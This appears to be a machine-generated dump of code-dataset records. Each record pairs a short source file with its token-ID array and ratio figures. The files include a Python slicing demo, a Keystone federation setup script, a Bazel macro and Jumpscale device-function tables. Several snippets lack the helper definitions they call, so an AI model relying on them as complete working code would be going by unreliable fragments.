220,
220,
220,
329,
6808,
11,
24512,
11,
3696,
287,
2513,
28264,
6978,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
705,
26495,
13,
17752,
6,
287,
3696,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
45218,
62,
15763,
796,
6808,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
45218,
62,
15763,
290,
6808,
13,
33491,
7,
22065,
62,
15763,
4032,
11537,
6624,
31051,
41989,
10354,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2555,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
6808,
13,
19796,
10786,
834,
9078,
23870,
834,
11537,
14512,
532,
16,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2555,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
6808,
13,
19796,
10786,
14,
2637,
8,
14512,
532,
16,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2555,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
329,
2393,
287,
3696,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
611,
2393,
13,
9688,
2032,
342,
10786,
2637,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
2555,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1336,
62,
6978,
796,
3108,
13,
22179,
7,
15763,
11,
2393,
8,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1976,
69,
13,
13564,
7,
12853,
62,
6978,
8,
198,
220,
220,
220,
220,
220,
220,
220,
2845,
38636,
16922,
25,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
5298,
38636,
16922,
628
] | 2.117898 | 1,408 |
a = list(range(10))
slice1 = slice(0, 3)
slice2 = slice(4, 8)
print(a[slice1])
print(a[slice2])
a[slice2] = ["@", "#", "$", "%"]
print(a)
del a[slice1]
print(a)
print(f"slice start: {slice1.start}")
print(f"slice stop: {slice1.stop}")
print(f"slice step: {slice1.step}")
c = slice(0, 100, 3)
s = "0as0ef0df0vd0ef0d"
for i in range(*c.indices(len(s))):
print(s[i], end='')
| [
64,
796,
1351,
7,
9521,
7,
940,
4008,
198,
48369,
16,
796,
16416,
7,
15,
11,
513,
8,
198,
48369,
17,
796,
16416,
7,
19,
11,
807,
8,
198,
4798,
7,
64,
58,
48369,
16,
12962,
198,
4798,
7,
64,
58,
48369,
17,
12962,
198,
198,
64,
58,
48369,
17,
60,
796,
14631,
31,
1600,
25113,
1600,
17971,
1600,
36521,
8973,
198,
4798,
7,
64,
8,
198,
198,
12381,
257,
58,
48369,
16,
60,
198,
4798,
7,
64,
8,
198,
198,
4798,
7,
69,
1,
48369,
923,
25,
1391,
48369,
16,
13,
9688,
92,
4943,
198,
4798,
7,
69,
1,
48369,
2245,
25,
1391,
48369,
16,
13,
11338,
92,
4943,
198,
4798,
7,
69,
1,
48369,
2239,
25,
1391,
48369,
16,
13,
9662,
92,
4943,
198,
198,
66,
796,
16416,
7,
15,
11,
1802,
11,
513,
8,
198,
82,
796,
366,
15,
292,
15,
891,
15,
7568,
15,
20306,
15,
891,
15,
67,
1,
198,
1640,
1312,
287,
2837,
46491,
66,
13,
521,
1063,
7,
11925,
7,
82,
4008,
2599,
198,
220,
220,
220,
3601,
7,
82,
58,
72,
4357,
886,
28,
7061,
8,
628
] | 2.059459 | 185 |
#!/usr/bin/env python
import ConfigParser
import requests
import json
cp = ConfigParser.SafeConfigParser()
cp.read('/etc/keystone/keystone.conf')
token = cp.get('DEFAULT', 'admin_token')
baseurl = 'http://localhost:35357/v3/OS-FEDERATION'
headers = {
'X-Auth-Token': token,
'Content-Type': 'application/json',
}
with open('/opt/himlar/json/create-idp.json') as fh:
data = fh.read()
response = requests.put(baseurl + '/identity_providers/dataporten',
headers=headers, data=data)
if response.status_code == 409:
response = requests.patch(baseurl + '/identity_providers/dataporten',
headers=headers, data=data)
response.raise_for_status()
resp = requests.get('http://localhost:35357/v3/domains', headers=headers)
domains = resp.json()['domains']
domain_id = None
for domain in domains:
if domain['name'] == u'connect':
domain_id = domain['id']
if not domain_id:
raise Exception('Did not find domain "connect"')
with open('/opt/himlar/json/create-mapping.json') as fh:
data = fh.read()
data = data.replace('CONNECT_DOMAIN_ID', domain_id)
response = requests.put(baseurl + '/mappings/dataporten',
headers=headers, data=data)
if response.status_code == 409:
response = requests.patch(baseurl + '/mappings/dataporten',
headers=headers, data=data)
response.raise_for_status()
with open('/opt/himlar/json/create-protocol.json') as fh:
data = fh.read()
response = requests.put(baseurl + '/identity_providers/dataporten/protocols/oidc',
headers=headers, data=data)
if response.status_code == 409:
response = requests.patch(baseurl + '/identity_providers/dataporten/protocols/oidc',
headers=headers, data=data)
response.raise_for_status()
data = {
'group': {
'description': 'Gruppe for test med dataporten',
'domain_id': domain_id,
'name': 'dataporten_group',
}
}
response = requests.post('http://localhost:35357/v3/groups',
headers=headers, data=json.dumps(data))
if response.status_code not in (201, 409):
raise Exception('Could not create group')
| [
2,
48443,
14629,
14,
8800,
14,
24330,
21015,
198,
11748,
17056,
46677,
198,
11748,
7007,
198,
11748,
33918,
198,
198,
13155,
796,
17056,
46677,
13,
31511,
16934,
46677,
3419,
198,
13155,
13,
961,
10786,
14,
14784,
14,
2539,
6440,
14,
2539,
6440,
13,
10414,
11537,
198,
30001,
796,
31396,
13,
1136,
10786,
7206,
38865,
3256,
705,
28482,
62,
30001,
11537,
198,
198,
8692,
6371,
796,
705,
4023,
1378,
36750,
25,
2327,
27277,
14,
85,
18,
14,
2640,
12,
37,
1961,
1137,
6234,
6,
198,
198,
50145,
796,
1391,
198,
220,
220,
220,
705,
55,
12,
30515,
12,
30642,
10354,
11241,
11,
198,
220,
220,
220,
705,
19746,
12,
6030,
10354,
705,
31438,
14,
17752,
3256,
198,
92,
198,
4480,
1280,
10786,
14,
8738,
14,
38400,
21681,
14,
17752,
14,
17953,
12,
312,
79,
13,
17752,
11537,
355,
277,
71,
25,
198,
220,
220,
220,
1366,
796,
277,
71,
13,
961,
3419,
198,
220,
220,
220,
2882,
796,
7007,
13,
1996,
7,
8692,
6371,
1343,
31051,
738,
414,
62,
15234,
4157,
14,
19608,
499,
419,
268,
3256,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
24697,
28,
50145,
11,
1366,
28,
7890,
8,
198,
220,
220,
220,
611,
2882,
13,
13376,
62,
8189,
6624,
48132,
25,
198,
220,
220,
220,
220,
220,
220,
220,
2882,
796,
7007,
13,
17147,
7,
8692,
6371,
1343,
31051,
738,
414,
62,
15234,
4157,
14,
19608,
499,
419,
268,
3256,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
24697,
28,
50145,
11,
1366,
28,
7890,
8,
198,
220,
220,
220,
2882,
13,
40225,
62,
1640,
62,
13376,
3419,
198,
198,
4363,
796,
7007,
13,
1136,
10786,
4023,
1378,
36750,
25,
2327,
27277,
14,
85,
18,
14,
3438,
1299,
3256,
24697,
28,
50145,
8,
198,
3438,
1299,
796,
1217,
13,
17752,
3419,
17816,
3438,
1299,
20520,
198,
27830,
62,
312,
796,
6045,
198,
1640,
7386,
287,
18209,
25,
198,
220,
220,
220,
611,
7386,
17816,
3672,
20520,
6624,
334,
6,
8443,
10354,
198,
220,
220,
220,
220,
220,
220,
220,
7386,
62,
312,
796,
7386,
17816,
312,
20520,
198,
198,
361,
407,
7386,
62,
312,
25,
198,
220,
220,
220,
5298,
35528,
10786,
11633,
407,
1064,
7386,
366,
8443,
1,
11537,
198,
198,
4480,
1280,
10786,
14,
8738,
14,
38400,
21681,
14,
17752,
14,
17953,
12,
76,
5912,
13,
17752,
11537,
355,
277,
71,
25,
198,
220,
220,
220,
1366,
796,
277,
71,
13,
961,
3419,
198,
220,
220,
220,
1366,
796,
1366,
13,
33491,
10786,
10943,
48842,
62,
39170,
29833,
62,
2389,
3256,
7386,
62,
312,
8,
198,
220,
220,
220,
2882,
796,
7007,
13,
1996,
7,
8692,
6371,
1343,
31051,
76,
39242,
14,
19608,
499,
419,
268,
3256,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
24697,
28,
50145,
11,
1366,
28,
7890,
8,
198,
220,
220,
220,
611,
2882,
13,
13376,
62,
8189,
6624,
48132,
25,
198,
220,
220,
220,
220,
220,
220,
220,
2882,
796,
7007,
13,
17147,
7,
8692,
6371,
1343,
31051,
76,
39242,
14,
19608,
499,
419,
268,
3256,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
24697,
28,
50145,
11,
1366,
28,
7890,
8,
198,
220,
220,
220,
2882,
13,
40225,
62,
1640,
62,
13376,
3419,
198,
198,
4480,
1280,
10786,
14,
8738,
14,
38400,
21681,
14,
17752,
14,
17953,
12,
11235,
4668,
13,
17752,
11537,
355,
277,
71,
25,
198,
220,
220,
220,
1366,
796,
277,
71,
13,
961,
3419,
198,
220,
220,
220,
2882,
796,
7007,
13,
1996,
7,
8692,
6371,
1343,
31051,
738,
414,
62,
15234,
4157,
14,
19608,
499,
419,
268,
14,
11235,
4668,
82,
14,
1868,
66,
3256,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
24697,
28,
50145,
11,
1366,
28,
7890,
8,
198,
220,
220,
220,
611,
2882,
13,
13376,
62,
8189,
6624,
48132,
25,
198,
220,
220,
220,
220,
220,
220,
220,
2882,
796,
7007,
13,
17147,
7,
8692,
6371,
1343,
31051,
738,
414,
62,
15234,
4157,
14,
19608,
499,
419,
268,
14,
11235,
4668,
82,
14,
1868,
66,
3256,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
24697,
28,
50145,
11,
1366,
28,
7890,
8,
198,
220,
220,
220,
2882,
13,
40225,
62,
1640,
62,
13376,
3419,
198,
198,
7890,
796,
1391,
198,
220,
220,
220,
705,
8094,
10354,
1391,
198,
220,
220,
220,
220,
220,
220,
220,
705,
11213,
10354,
705,
38,
622,
27768,
329,
1332,
1117,
4818,
499,
419,
268,
3256,
198,
220,
220,
220,
220,
220,
220,
220,
705,
27830,
62,
312,
10354,
7386,
62,
312,
11,
198,
220,
220,
220,
220,
220,
220,
220,
705,
3672,
10354,
705,
19608,
499,
419,
268,
62,
8094,
3256,
198,
220,
220,
220,
1782,
198,
92,
198,
26209,
796,
7007,
13,
7353,
10786,
4023,
1378,
36750,
25,
2327,
27277,
14,
85,
18,
14,
24432,
3256,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
24697,
28,
50145,
11,
1366,
28,
17752,
13,
67,
8142,
7,
7890,
4008,
198,
361,
2882,
13,
13376,
62,
8189,
407,
287,
357,
1264,
11,
48132,
2599,
198,
220,
220,
220,
5298,
35528,
10786,
23722,
407,
2251,
1448,
11537,
198
] | 2.323202 | 987 |
# Copyright (C) 2018-2021 Intel Corporation
# SPDX-License-Identifier: Apache-2.0
from extensions.front.tf.concat_ext import ConcatFrontExtractor
from unit_tests.utils.extractors import PB, BaseExtractorsTestingClass
| [
2,
15069,
357,
34,
8,
2864,
12,
1238,
2481,
8180,
10501,
198,
2,
30628,
55,
12,
34156,
12,
33234,
7483,
25,
24843,
12,
17,
13,
15,
198,
198,
6738,
18366,
13,
8534,
13,
27110,
13,
1102,
9246,
62,
2302,
1330,
1482,
9246,
25886,
11627,
40450,
198,
6738,
4326,
62,
41989,
13,
26791,
13,
2302,
974,
669,
1330,
30524,
11,
7308,
11627,
974,
669,
44154,
9487,
628
] | 3.318182 | 66 |
"""Defines a project macro used in every TokTok sub-project.
It checks constraints such as the use of the correct license and the presence
and correctness of the license text.
"""
_haskell_travis = rule(
attrs = {
"package": attr.string(mandatory = True),
"_template": attr.label(
default = Label("//tools/project:haskell_travis.yml.in"),
allow_single_file = True,
),
},
outputs = {"source_file": ".travis-expected.yml"},
implementation = _haskell_travis_impl,
)
def project(license = "gpl3", standard_travis = False):
"""Adds some checks to make sure the project is uniform."""
native.sh_test(
name = "license_test",
size = "small",
srcs = ["//tools/project:diff_test.sh"],
args = [
"$(location LICENSE)",
"$(location //tools:LICENSE.%s)" % license,
],
data = [
"LICENSE",
"//tools:LICENSE.%s" % license,
],
)
native.sh_test(
name = "readme_test",
size = "small",
srcs = ["//tools/project:readme_test.sh"],
args = ["$(location README.md)"],
data = ["README.md"],
)
native.sh_test(
name = "settings_test",
size = "small",
srcs = ["//tools/project:settings_test.sh"],
args = [
"$(location .github/settings.yml)",
# qTox is an exception. Maybe we should rename the submodule?
"qTox" if native.package_name() == "qtox" else native.package_name().replace("_", "-"),
],
data = [".github/settings.yml"],
)
if (native.package_name().startswith("hs-") and
any([f for f in native.glob(["*"]) if f.endswith(".cabal")])):
_haskell_project(
standard_travis = standard_travis,
)
| [
37811,
7469,
1127,
257,
1628,
15021,
973,
287,
790,
9453,
19042,
850,
12,
16302,
13,
198,
198,
1026,
8794,
17778,
884,
355,
262,
779,
286,
262,
3376,
5964,
290,
262,
4931,
198,
392,
29409,
286,
262,
5964,
2420,
13,
198,
37811,
198,
198,
62,
10134,
17164,
62,
83,
16956,
796,
3896,
7,
198,
220,
220,
220,
708,
3808,
796,
1391,
198,
220,
220,
220,
220,
220,
220,
220,
366,
26495,
1298,
708,
81,
13,
8841,
7,
22249,
2870,
796,
6407,
828,
198,
220,
220,
220,
220,
220,
220,
220,
45434,
28243,
1298,
708,
81,
13,
18242,
7,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
4277,
796,
36052,
7203,
1003,
31391,
14,
16302,
25,
10134,
17164,
62,
83,
16956,
13,
88,
4029,
13,
259,
12340,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1249,
62,
29762,
62,
7753,
796,
6407,
11,
198,
220,
220,
220,
220,
220,
220,
220,
10612,
198,
220,
220,
220,
8964,
198,
220,
220,
220,
23862,
796,
19779,
10459,
62,
7753,
1298,
27071,
83,
16956,
12,
40319,
13,
88,
4029,
25719,
198,
220,
220,
220,
7822,
796,
4808,
10134,
17164,
62,
83,
16956,
62,
23928,
11,
198,
8,
198,
198,
4299,
1628,
7,
43085,
796,
366,
70,
489,
18,
1600,
3210,
62,
83,
16956,
796,
10352,
2599,
198,
220,
220,
220,
37227,
46245,
617,
8794,
284,
787,
1654,
262,
1628,
318,
8187,
526,
15931,
198,
220,
220,
220,
6868,
13,
1477,
62,
9288,
7,
198,
220,
220,
220,
220,
220,
220,
220,
1438,
796,
366,
43085,
62,
9288,
1600,
198,
220,
220,
220,
220,
220,
220,
220,
2546,
796,
366,
17470,
1600,
198,
220,
220,
220,
220,
220,
220,
220,
12351,
82,
796,
14631,
1003,
31391,
14,
16302,
25,
26069,
62,
9288,
13,
1477,
33116,
198,
220,
220,
220,
220,
220,
220,
220,
26498,
796,
685,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
17971,
7,
24886,
38559,
24290,
42501,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
17971,
7,
24886,
3373,
31391,
25,
43,
2149,
24290,
13,
4,
82,
16725,
4064,
5964,
11,
198,
220,
220,
220,
220,
220,
220,
220,
16589,
198,
220,
220,
220,
220,
220,
220,
220,
1366,
796,
685,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
366,
43,
2149,
24290,
1600,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
366,
1003,
31391,
25,
43,
2149,
24290,
13,
4,
82,
1,
4064,
5964,
11,
198,
220,
220,
220,
220,
220,
220,
220,
16589,
198,
220,
220,
220,
1267,
628,
220,
220,
220,
6868,
13,
1477,
62,
9288,
7,
198,
220,
220,
220,
220,
220,
220,
220,
1438,
796,
366,
961,
1326,
62,
9288,
1600,
198,
220,
220,
220,
220,
220,
220,
220,
2546,
796,
366,
17470,
1600,
198,
220,
220,
220,
220,
220,
220,
220,
12351,
82,
796,
14631,
1003,
31391,
14,
16302,
25,
961,
1326,
62,
9288,
13,
1477,
33116,
198,
220,
220,
220,
220,
220,
220,
220,
26498,
796,
14631,
3,
7,
24886,
20832,
11682,
13,
9132,
16725,
4357,
198,
220,
220,
220,
220,
220,
220,
220,
1366,
796,
14631,
15675,
11682,
13,
9132,
33116,
198,
220,
220,
220,
1267,
628,
220,
220,
220,
6868,
13,
1477,
62,
9288,
7,
198,
220,
220,
220,
220,
220,
220,
220,
1438,
796,
366,
33692,
62,
9288,
1600,
198,
220,
220,
220,
220,
220,
220,
220,
2546,
796,
366,
17470,
1600,
198,
220,
220,
220,
220,
220,
220,
220,
12351,
82,
796,
14631,
1003,
31391,
14,
16302,
25,
33692,
62,
9288,
13,
1477,
33116,
198,
220,
220,
220,
220,
220,
220,
220,
26498,
796,
685,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
17971,
7,
24886,
764,
12567,
14,
33692,
13,
88,
4029,
42501,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
1303,
10662,
51,
1140,
318,
281,
6631,
13,
6674,
356,
815,
36265,
262,
850,
21412,
30,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
366,
80,
51,
1140,
1,
611,
6868,
13,
26495,
62,
3672,
3419,
6624,
366,
39568,
1140,
1,
2073,
6868,
13,
26495,
62,
3672,
22446,
33491,
7203,
62,
1600,
27444,
12340,
198,
220,
220,
220,
220,
220,
220,
220,
16589,
198,
220,
220,
220,
220,
220,
220,
220,
1366,
796,
685,
1911,
12567,
14,
33692,
13,
88,
4029,
33116,
198,
220,
220,
220,
1267,
628,
220,
220,
220,
611,
357,
30191,
13,
26495,
62,
3672,
22446,
9688,
2032,
342,
7203,
11994,
12,
4943,
290,
198,
220,
220,
220,
220,
220,
220,
220,
597,
26933,
69,
329,
277,
287,
6868,
13,
4743,
672,
7,
14692,
9,
8973,
8,
611,
277,
13,
437,
2032,
342,
7,
1911,
66,
44349,
4943,
12962,
2599,
198,
220,
220,
220,
220,
220,
220,
220,
4808,
10134,
17164,
62,
16302,
7,
198,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
220,
3210,
62,
83,
16956,
796,
3210,
62,
83,
16956,
11,
198,
220,
220,
220,
220,
220,
220,
220,
1267,
198
] | 2.194012 | 835 |
"""the simple baseline for autograph"""
import numpy as np
import pandas as pd
import torch
import torch.nn.functional as F
from torch.nn import Linear
from torch_geometric.nn import GCNConv, JumpingKnowledge
from torch_geometric.data import Data
from torch_geometric.nn import Node2Vec
from torch.utils.data import DataLoader
import networkx as nx
import random
from collections import Counter
from utils import normalize_features
import scipy.sparse as sp
from appnp import APPNPTrainer
from daydayup_model import GCNTrainer, TAGTrainer, XGBTrainer
from scipy import stats
from sklearn import preprocessing
import warnings
warnings.filterwarnings("ignore")
from daydayup_private_features import dayday_feature, dayday_feature_old
fix_seed(1234)
| [
37811,
1169,
2829,
14805,
329,
1960,
2384,
37811,
201,
198,
201,
198,
11748,
299,
32152,
355,
45941,
201,
198,
11748,
19798,
292,
355,
279,
67,
201,
198,
201,
198,
11748,
28034,
201,
198,
11748,
28034,
13,
20471,
13,
45124,
355,
376,
201,
198,
6738,
28034,
13,
20471,
1330,
44800,
201,
198,
6738,
28034,
62,
469,
16996,
13,
20471,
1330,
20145,
45,
3103,
85,
11,
15903,
278,
23812,
2965,
201,
198,
6738,
28034,
62,
469,
16996,
13,
7890,
1330,
6060,
201,
198,
6738,
28034,
62,
469,
16996,
13,
20471,
1330,
19081,
17,
53,
721,
201,
198,
6738,
28034,
13,
26791,
13,
7890,
1330,
6060,
17401,
201,
198,
11748,
3127,
87,
355,
299,
87,
201,
198,
201,
198,
11748,
4738,
201,
198,
6738,
17268,
1330,
15034,
201,
198,
201,
198,
6738,
3384,
4487,
1330,
3487,
1096,
62,
40890,
201,
198,
11748,
629,
541,
88,
13,
82,
29572,
355,
599,
201,
198,
6738,
598,
37659,
1330,
3486,
13137,
47,
2898,
10613,
201,
198,
6738,
1110,
820,
929,
62,
19849,
1330,
20145,
45,
2898,
10613,
11,
37801,
2898,
10613,
11,
1395,
4579,
2898,
10613,
201,
198,
201,
198,
6738,
629,
541,
88,
1330,
9756,
201,
198,
201,
198,
6738,
1341,
35720,
1330,
662,
36948,
201,
198,
201,
198,
11748,
14601,
201,
198,
40539,
654,
13,
24455,
40539,
654,
7203,
46430,
4943,
201,
198,
6738,
1110,
820,
929,
62,
19734,
62,
40890,
1330,
1110,
820,
62,
30053,
11,
1110,
820,
62,
30053,
62,
727,
201,
198,
201,
198,
201,
198,
201,
198,
13049,
62,
28826,
7,
1065,
2682,
8,
201,
198,
201,
198,
220,
220,
220,
220,
201,
198,
201,
198
] | 3.007519 | 266 |
from data_importers.management.commands import BaseXpressDemocracyClubCsvImporter
| [
6738,
1366,
62,
320,
1819,
1010,
13,
27604,
13,
9503,
1746,
1330,
7308,
55,
8439,
11522,
17818,
42350,
34,
21370,
3546,
26634,
628
] | 3.608696 | 23 |
# -*- coding: utf-8 -*-
# %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
#
# Copyright (c) 2019 Image Processing Research Group of University Federico II of Naples ('GRIP-UNINA').
# All rights reserved.
# This work should only be used for nonprofit purposes.
#
# By downloading and/or using any of these files, you implicitly agree to all the
# terms of the license, as specified in the document LICENSE.md
# (included in this package) and online at
# http://www.grip.unina.it/download/LICENSE_OPEN.txt
#
import numpy as np
from skimage.util import view_as_blocks,view_as_windows
from math import floor
from scipy.interpolate import interp2d
from scipy.io import savemat
################################################
import matplotlib.pyplot as plt
| [
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
201,
198,
2,
4064,
36917,
36917,
36917,
36917,
36917,
36917,
36917,
36917,
36917,
36917,
36917,
36917,
36917,
36917,
36917,
36917,
36917,
36917,
201,
198,
2,
201,
198,
2,
15069,
357,
66,
8,
13130,
7412,
28403,
4992,
4912,
286,
2059,
35089,
3713,
2873,
286,
49404,
19203,
10761,
4061,
12,
4944,
28893,
27691,
201,
198,
2,
1439,
2489,
10395,
13,
201,
198,
2,
770,
670,
815,
691,
307,
973,
329,
15346,
4959,
13,
201,
198,
2,
201,
198,
2,
2750,
22023,
290,
14,
273,
1262,
597,
286,
777,
3696,
11,
345,
31821,
4236,
284,
477,
262,
201,
198,
2,
2846,
286,
262,
5964,
11,
355,
7368,
287,
262,
3188,
38559,
24290,
13,
9132,
201,
198,
2,
357,
259,
10341,
287,
428,
5301,
8,
290,
2691,
379,
201,
198,
2,
2638,
1378,
2503,
13,
70,
5528,
13,
403,
1437,
13,
270,
14,
15002,
14,
43,
2149,
24290,
62,
3185,
1677,
13,
14116,
201,
198,
2,
201,
198,
201,
198,
11748,
299,
32152,
355,
45941,
201,
198,
6738,
1341,
9060,
13,
22602,
1330,
1570,
62,
292,
62,
27372,
11,
1177,
62,
292,
62,
28457,
201,
198,
6738,
10688,
1330,
4314,
201,
198,
6738,
629,
541,
88,
13,
3849,
16104,
378,
1330,
987,
79,
17,
67,
201,
198,
6738,
629,
541,
88,
13,
952,
1330,
3613,
6759,
201,
198,
201,
198,
201,
198,
29113,
14468,
201,
198,
11748,
2603,
29487,
8019,
13,
9078,
29487,
355,
458,
83,
201,
198,
201,
198,
201,
198,
201,
198,
201,
198
] | 3.184314 | 255 |
# pylint: disable=W0201
from Jumpscale import j
JSBASE = j.baseclasses.object
# Variables
functions = {}
func = Functions()
functions[1] = func
func.guid = 1
func.name = "GeneralModuleStatus"
func.description = "General status of a module"
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 2
func.valDef.unit = ""
func.valDef.scale = 0
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[2] = func
func.guid = 2
func.name = "SpecificModuleStatus"
func.description = ""
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 1
func.valDef.unit = ""
func.valDef.scale = 0
func.valDef.min = 0
func.valDef.max = 256
func = Functions()
functions[3] = func
func.guid = 3
func.name = "CurrentTime"
func.description = "Unix timestamp of the current time"
func.read = 1
func.write = 1
func.valDef = Value()
func.valDef.type = "TYPE_TIMESTAMP"
func.valDef.size = 4
func.valDef.unit = "UNIX"
func.valDef.scale = 0
func.valDef.min = 0
func.valDef.max = 4294967296
func = Functions()
functions[4] = func
func.guid = 4
func.name = "Voltage"
func.description = "True RMS Voltage"
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 2
func.valDef.unit = "V"
func.valDef.scale = 2
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[5] = func
func.guid = 5
func.name = "Frequency"
func.description = "Frequency"
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 2
func.valDef.unit = "Hz"
func.valDef.scale = 3
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[6] = func
func.guid = 6
func.name = "Current"
func.description = "Current true RMS"
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 2
func.valDef.unit = "A"
func.valDef.scale = 3
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[7] = func
func.guid = 7
func.name = "Power"
func.description = "Real Power"
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 2
func.valDef.unit = "W"
func.valDef.scale = 1
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[8] = func
func.guid = 8
func.name = "StatePortCur"
func.description = "current port state"
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_ENUM"
func.valDef.size = 1
func = Functions()
functions[9] = func
func.guid = 9
func.name = "ActiveEnergy"
func.description = "Active Energy"
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 4
func.valDef.unit = "kWh"
func.valDef.scale = 3
func.valDef.min = 0
func.valDef.max = 4294967296
func = Functions()
functions[10] = func
func.guid = 10
func.name = "ApparentEnergy"
func.description = "Apparent Energy"
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 4
func.valDef.unit = "kVAh"
func.valDef.scale = 3
func.valDef.min = 0
func.valDef.max = 4294967296
func = Functions()
functions[11] = func
func.guid = 11
func.name = "Temperature"
func.description = "Temperature"
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_SIGNED_NUMBER"
func.valDef.size = 2
func.valDef.unit = "C"
func.valDef.scale = 1
func.valDef.min = -32768
func.valDef.max = 32768
func = Functions()
functions[12] = func
func.guid = 12
func.name = "Humidity"
func.description = "Humidity"
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 2
func.valDef.unit = "%RH"
func.valDef.scale = 1
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[13] = func
func.guid = 13
func.name = "FanSpeed"
func.description = "Fanspeed in Rounds per minute"
func.read = 1
func.write = 0
func.valDef = Value()
func.valDef.type = "TYPE_UNSIGNED_NUMBER"
func.valDef.size = 2
func.valDef.unit = "rpm"
func.valDef.scale = 0
func.valDef.min = 0
func.valDef.max = 65536
func = Functions()
functions[5000] = func
func.guid = 5000
func.name = "MaxCurrent"
func.description = "Maximum port current occurred since last reset"
func.read = 1
func.write = 1
